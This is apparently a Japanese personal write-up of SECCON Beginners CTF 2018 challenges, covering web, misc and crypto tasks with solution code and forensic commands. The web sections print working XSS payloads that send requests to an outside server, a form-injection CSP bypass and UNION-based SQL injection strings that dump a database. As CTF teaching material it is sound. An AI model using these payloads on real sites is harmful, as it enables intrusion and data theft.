My Quality

とあるエンジニアの戯言

SECCON Beginners 2018 Write-up

実質公式 Write-up はこちら

SECCON Beginners CTF 2018 Write-up - Qiita

4r@r3㌠ というチームで個人参戦しました。忘れないうちに Write-up をメモしておきます。ちなみにバイナリは全くわかりません。

■ Web: [Warmup] Greeting

管理者である admin のみが Flag を見ることができるページ。

Cookie から $username の値を設定しているので、 Cookiename の値を admin にするだけ

■ Web: Gimme your comment

問い合わせ?の投稿と、それに対してコメントができるWebサービス。 投稿すると向こうの管理者(?)から「投稿ありがとうございます。大変参考になりました。」という回答が来て、その際に用いられるブラウザの UserAgent を求めるという問題。

投稿のタイトルとコメントは XSS できないが、投稿の本文が特にサニタイズされていないため XSS 可能。 例えば、以下のような本文で投稿すると、自分のサイトに対してリクエストを飛ばすことができる。

<script src="[Your Server]"></script>

■ Web: SECCON Goods

SECCON グッズの在庫状況がわかるサイト。 Vue.js が使われており、 init.js を見ると /items.php?minstock=0 にアクセスしているのがわかる。

/items.php?minstock=100 とすると 1 件も返ってこないが、 /items.php?minstock=100 or 1=1;-- とすると全件返ってくるため、SQLi できることがわかる。

あとは 普通に UNION を使って SQLi するだけ。

/items.php?minstock=100 union select table_schema, table_name, column_name, 1, 1 from INFORMATION_SCHEMA.COLUMNS;--

INFORMATION_SCHEMA から flag がありそうなテーブルを見つける。

[
  ...,
  {
    "id": "app",
    "name": "flag",
    "description": "flag",
    "price": "1",
    "stock": "1"
  },
  ...
]

flag の取得

/items.php?minstock=0 union select flag, 1, 1, 1, 1 from flag;--

■ Web: Gimme your comment REVENGE

Gimme your comment と同じサイトで、フラグの取得条件も同じ。 ただし、 Contents Security Policy(CSP) が設定されているため、インラインの JavaScript を実行したり、外部オリジンからリソースを読み込むことができない。

かなり悩んだが、 worker の JavaScript のコードを読んでいたら 投稿すると向こうの管理者(?)から「投稿ありがとうございます。大変参考になりました。」というコメントが来る ことを思い出し、以下の本文でいけることに気づいた。

</form>
<form method="post" action="[Your Server]">

これなら CSP を回避しながら外部オリジンにリクエストを送ることができる。

Gimme your comment を解いている時は、コメント機能の存在意義や、なぜセッションハイジャックではなく UserAgent でいいのか疑問だったが、これで納得した。

■ Misc: [Warmup] plain mail

問題ファイルを Wireshark で開き、 Follow TCP Stream で眺めながら、Zip ファイルとそのパスワードを取得ししておしまい。

■ Misc: [Warmup] Welcome

問題文

フラグは公式IRCチャンネルのトピックにあります。

■ Misc: てけいさんえくすとりーむず

手計算と書いてあるがもちろん自動でやらせる。

import time
import socket

HOST = 'tekeisan-ekusutoriim.chall.beginners.seccon.jp'
PORT = 8690

def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip,remoteport))
    return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
    start_time = time.time()
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
        if time.time() - start_time > 3: break
    return data

def main():
    print 'nc %s %s' % (HOST, PORT)
    s, f = sock(HOST, PORT)

    # Skip initial data
    for i in range(11):
        result = read_until(f)
        print result.strip()

    for i in range(100):
        result = read_until(f)
        print result.strip()
        result = read_until(f, '=')
        response = str(eval(result[:-1]))
        s.send(response + '\n')
        print result.strip() + response

    while True:
        result = read_until(f)
        if not result: break
        print result.strip()

    print 'finish.'

if __name__ == '__main__':
    main()

■ Misc: Find the messages

ディスクイメージが渡されて、その中に隠されたメッセージを探す問題。

とりあえずマウントしてみる。

$ sudo fdisk -l -u disk.img

Disk disk.img: 67 MB, 67108864 bytes
41 heads, 32 sectors/track, 99 cylinders, total 131072 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xad4d4cf0

   Device Boot      Start         End      Blocks   Id  System
disk.img1            2048      131071       64512   83  Linux

$ sudo mount -o loop,offset=$((2048*512)) disk.img /mnt
$ sudo ls -lhR /mnt
.:
total 15K
drwx------ 2 root root  12K  4月 28 02:03 lost+found
drwxr-xr-x 2 root root 1.0K  4月 28 02:03 message1
drwxr-xr-x 2 root root 1.0K  4月 28 02:03 message2
drwxr-xr-x 2 root root 1.0K  4月 28 02:05 message3

./lost+found:
total 0

./message1:
total 1.0K
-rw-r--r-- 1 root root 24  4月 28 02:03 message_1_of_3.txt

./message2:
total 15M
-rw-r--r-- 1 root root 15M  4月 28 02:03 message_2_of_3.png

./message3:
total 0

マウントすると3つのディレクトリが見える。

  • message1/
  • message2/
    • message_2_of_3.png : PNG だがファイルシグネチャの部分が壊れているので修正する
  • message3/
    • ファイルがないため、修復する必要があると予想
$ fls -r -o 2048 disk.img
d/d 11: lost+found
d/d 12: message1
+ r/r 13:   message_1_of_3.txt
d/d 2017:   message2
+ r/r 14:   message_2_of_3.png
d/d 2018:   message3
+ r/r * 15: message_3_of_3.pdf
d/d 16129:  $OrphanFiles
$ icat -o 2048 disk.img 15 > message_3_of_3.pdf

これで復元できると思ったのだが、できなかったため binwalk を用いた。

$ binwalk disk.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184       0x900000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9700352       0x940400        PDF document, version: "1.3"
11535548      0xB004BC        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#
17829888      0x1101000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400      0x1900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616      0x2900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832      0x3900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

$ binwalk --dd='pdf:message_3_of_3.pdf' disk.img

■ Crypto: [Warmup] Veni, vidi, vici

Zip ファイルが渡され、解凍すると 3 つのファイルが出てくる。 1つは ROT13、もう1つはシーザー暗号、最後の1つはアルファベットを上下反転させたもの。

■ Crypto: RSA is Power

RSA の公開鍵の情報が与えられ、暗号文を復号する問題。 RSAn素因数分解できれば復号可能なので、おもむろに FactorDB に突っ込んだところ素因数分解してくれた。

あとはやるだけ。

■ Crypto: Streaming

暗号化のスクリプトと暗号文が渡されて復号する問題。 暗号自体は XOR 暗号に seed がついてるだけ。しかも seed は mod 34607 したものなので、総当たりでできる。

class Stream:
    A = 37423
    B = 61781
    C = 34607
    def __init__(self, seed):
        self.seed = seed % self.C

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed

encrypted = ''
with open('encrypted', 'rb') as f:
    while True:
        value = f.read(1)
        if value == '': break
        encrypted += value

candidate = []
for seed in range(34607):
    g = Stream(seed)
    a = ord(encrypted[1]) * 256 + ord(encrypted[0])
    # Check flag starts with 'ct'. Because flag format is 'ctf4b{...}'.
    if a ^ g.next() == int('ct'.encode('hex'), 16):
        candidate.append(seed)

for seed in candidate:
    try:
        flag = ''
        g = Stream(seed)
        for i in range(0, len(encrypted), 2):
            a = ord(encrypted[i+1]) * 256 + ord(encrypted[i])
            flag += hex(a ^ g.next())[2:].decode('hex')
        print flag
    except:
        pass